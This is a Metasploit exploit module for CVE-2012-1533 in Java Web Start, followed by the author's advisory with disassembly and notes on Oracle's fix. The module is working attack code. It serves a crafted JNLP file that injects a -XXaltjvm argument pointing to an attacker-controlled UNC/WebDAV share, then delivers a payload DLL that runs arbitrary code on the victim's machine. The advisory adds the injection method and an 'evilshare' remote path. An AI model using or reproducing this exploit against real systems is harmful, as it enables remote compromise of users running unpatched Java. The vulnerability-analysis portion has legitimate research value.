##
#
# ========================================================
# Java Web Start Double Quote Inject Remote Code Execution
# ========================================================
#
# Date: Jun 12 2012 (updated: Jun 6 2013)
# Author: Rh0
# Version: At least Java 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07
# Tested on: Windows XP SP3 EN and Windows 7
# CVE: 2012-1533
#
# advisory: http://pastebin.com/eUucVage
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java Web Start Double Quote Injection',
'Description' => %q{
This module exploits a flaw in the Web Start component of the Sun Java
Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This allows the injection of the -XXaltjvm
option to load a jvm.dll from a remote UNC path into the java process. Thus
an attacker can execute arbitrary code in the context of a browser user.
This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.
In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
a jvm.dll can be specified with an own SMB server.
},
'Author' =>
[
# NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)
'Rh0 <rh0 () z1p dot biz>', # discovery and msf module
],
'Version' => '0.0',
'References' =>
[
[ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
],
'Platform' => 'win',
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
))
register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
], self.class)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
#print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end
ret
end
def on_request_uri(cli, request)
# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end
# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end
# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end
# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget, share_name)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
#
# GET requests
#
def process_get(cli, request, target, share_name)
print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded })
# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /\.jnlp$/i)
#
# Send the jnlp document
#
# Prepare the UNC path...
if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
unc = "\\\\" + my_host + "\\" + share_name
end
# NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0,2] == "\\\\"
unc.slice!(0, 1)
end
http_agent = Rex::Text.rand_text_alpha(8+rand(8))
# use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
# inject a parameter into the command line of javaw.exe
# codebase, href and application-desc parameters successfully suppress java splash
jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
<information>
<title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
</jnlp>
EOS
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
else
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
jnlp_path = get_resource()
if jnlp_path[-1,1] != '/'
jnlp_path << '/'
end
jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp"
send_redirect(cli, jnlp_path, '')
end
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end
end
=begin
=========================================================
Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
=========================================================
Hello all,
This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
allows remote code execution in the same way.
======================
Vulnerability Overview
======================
There exists an input validation vulnerability in at least Java Web Start 1.6.35
and 1.7.07 when parsing JNLP files.
A flaw exists in the routine which performs checks on the parameter values from
a JNLP file. It allows the injection of non escaped double quotes (") into parameters
of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
JNLP file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This makes it possible to get a command line parameter
with a value consisting only of one double quote injected. Further this allows manipulating
the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
======================
Vulnerability Details
======================
Notes:
------
[*] A JNLP parameter will be refered to by name=value (e.g.: initial-heap-size='64m"' )
[*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
[*] javaws.exe has the base address of 0x00400000 in memory
[*] Arrows (-->) indicate code continuation on next address block
------
Vulnerable program flow:
------------------------
[*] If a JNLP file is opened by javaws.exe, it is read into memory
and saved temporary in %TEMP%.
[*] JNLP parameters are parsed:
[a] Check if a JNLP value begins with a single or a double quote:
(EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
00404D60 MOV CL,BYTE PTR DS:[EAX] ; CL: 1st char of '64m"' (single quote = 0x27)
00404D62 CMP CL,22 ; check for double quote
00404D65 MOV DWORD PTR DS:[4227C4],EAX
00404D6A JE SHORT javaws.00404D9F ; jmp is not taken
00404D6C CMP CL,27 ; check for single quote
00404D6F JE SHORT javaws.00404D9F ; jmp is taken -->
...
[b] strip quotes which enclose the JNLP value and store it:
00404D9F INC EAX ; points to 2nd char of JNLP value (1st char after single quote)
00404DA0 MOV DL,CL ; DL: 0x27 (single quote)
00404DA2 MOV CL,BYTE PTR DS:[EAX] ; CL: 2nd char of JNLP value (0x36)
00404DA4 MOV DWORD PTR DS:[4227C4],EAX
00404DA9 MOV ESI,EAX
00404DAB JMP SHORT javaws.00404DB4 ; start loop
00404DAD /CMP CL,DL ; compare char of JNLP value to single quote
00404DAF |JE SHORT javaws.00404DB8 ; loop until another single quote in JNLP value is encountered
00404DB1 |INC ESI ; increase pointer to chars in JNLP value
00404DB2 |MOV CL,BYTE PTR DS:[ESI] ; put next char of value into CL
00404DB4 TEST CL,CL
00404DB6 \JNZ SHORT javaws.00404DAD
00404DB8 PUSH EAX
00404DB9 PUSH 6
00404DBB MOV EAX,ESI
00404DBD CALL javaws.00404BF8 ; store stripped JNLP value ( in the example case: 64m" )
...
[*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
(e.g.: for JNLP parameter with name initial-heap-size) :
00401895 PUSH javaws.00418330 ; ASCII: -Xms%s
0040189A PUSH EBX
0040189B PUSH EAX
0040189C CALL javaws.00406D26 ; construct command line parameter with -Xms%s and 64m"
004018A1 LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
...
[*] All constructed command line parameters for javaw.exe are sane checked:
00402B02 CALL javaws.00406911 ; run check routine -->
...
00406911 PUSH EBP
00406912 MOV EBP,ESP
00406914 PUSH EBX
00406915 PUSH ESI
00406916 PUSH EDI
00406917 MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
0040691A XOR EBX,EBX
0040691C CMP DWORD PTR DS:[EDI],EBX
0040691E MOV ESI,EDI
00406920 JE SHORT javaws.00406933
00406922 /PUSH DWORD PTR DS:[ESI] ; push pointer to command line parameter
00406924 |CALL javaws.00406170 ; run check on command line parameter -->
00406929 |MOV DWORD PTR DS:[ESI],EAX
0040692B |ADD ESI,4 ; ESI: pointer to next command line parameter
0040692E |CMP DWORD PTR DS:[ESI],EBX
00406930 |POP ECX
00406931 \JNZ SHORT javaws.00406922 ; loop until end of pointer list
...
00406170 PUSH EBX
00406171 MOV EBX,DWORD PTR SS:[ESP+8] ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
00406175 TEST EBX,EBX
00406177 JNZ SHORT javaws.0040617D ; -->
...
0040617D MOV EAX,EBX
0040617F LEA EDX,DWORD PTR DS:[EAX+1] ; EDX: pointer to command line parameter without hyphen ( Xms64m" )
00406182 /MOV CL,BYTE PTR DS:[EAX]
00406184 |INC EAX
00406185 |TEST CL,CL
00406187 \JNZ SHORT javaws.00406182
00406189 PUSH ESI ; pointer to pointer of -Xms64m"
0040618A SUB EAX,EDX ; EAX: length of Xms64m"\x00
0040618C PUSH javaws.004199B8 ; ASCII \x20\x09 (space and tab)
00406191 PUSH EBX ; pointer to -Xms64m"
00406192 MOV ESI,EAX
00406194 CALL javaws.00409590 ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
00406199 TEST EAX,EAX ; EAX: 0x0 for -Xms64m"
0040619B POP ECX
0040619C POP ECX
0040619D JNZ SHORT javaws.004061A8 ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
0040619F PUSH EBX
004061A0 CALL javaws.004127F4 ; copy of -Xms64m" (~ strdup)
004061A5 POP ECX
004061A6 JMP SHORT javaws.00406215 ; jmp over the check routines !! ---------------------> 00406215
004061A8 CMP ESI,1
004061AB JLE SHORT javaws.004061B9
004061AD CMP BYTE PTR DS:[EBX],22
004061B0 JNZ SHORT javaws.004061B9
004061B2 CMP BYTE PTR DS:[ESI+EBX-1],22
004061B7 JE SHORT javaws.0040619F
004061B9 XOR EAX,EAX
004061BB TEST ESI,ESI
004061BD LEA EDX,DWORD PTR DS:[ESI+3]
004061C0 JLE SHORT javaws.004061D5
004061C2 /MOV CL,BYTE PTR DS:[EAX+EBX]
004061C5 |CMP CL,22
004061C8 |JE SHORT javaws.004061CF
004061CA |CMP CL,5C
004061CD |JNZ SHORT javaws.004061D0
004061CF |INC EDX
004061D0 |INC EAX
004061D1 |CMP EAX,ESI
004061D3 \JL SHORT javaws.004061C2
004061D5 PUSH EDX
004061D6 CALL javaws.004089CD
004061DB TEST EAX,EAX
004061DD POP ECX
004061DE JE SHORT javaws.00406215
004061E0 XOR ECX,ECX
004061E2 PUSH EDI
004061E3 INC ECX
004061E4 XOR EDI,EDI
004061E6 TEST ESI,ESI
004061E8 MOV BYTE PTR DS:[EAX],22 ; *** prepend command line parameter with double quote
004061EB JLE SHORT javaws.0040620B
004061ED /MOV DL,BYTE PTR DS:[EDI+EBX]
004061F0 |CMP DL,22 ; *** check for "
004061F3 |JE SHORT javaws.004061FA
004061F5 |CMP DL,5C ; *** check for \
004061F8 |JNZ SHORT javaws.004061FF
004061FA |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
004061FE |INC ECX
004061FF |MOV DL,BYTE PTR DS:[EDI+EBX]
00406202 |MOV BYTE PTR DS:[EAX+ECX],DL
00406205 |INC ECX
00406206 |INC EDI
00406207 |CMP EDI,ESI
00406209 \JL SHORT javaws.004061ED
0040620B ADD ECX,EAX
0040620D MOV BYTE PTR DS:[ECX],22 ; *** append command line parameter with double quote to enclose it
00406210 MOV BYTE PTR DS:[ECX+1],0
00406214 POP EDI
00406215 POP ESI ; -----------------> we land here
00406216 POP EBX
00406217 RETN
...
[*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
the constructed command line parameter (see 0040619D ).
[*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
[*] The command line for javaw.exe then contains the two parameters after each other, so we get:
javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
[*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
be on a webserver) and execute it.
===
Fix
===
[*] This vulnerability was fixed by Oracle in Oct. 2012
http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
[a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
[b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
values gained by sub_405BD5:
http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
[*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
when it was a 0day:
http://pastebin.com/9RztwVez
Cheers,
Rh0
=end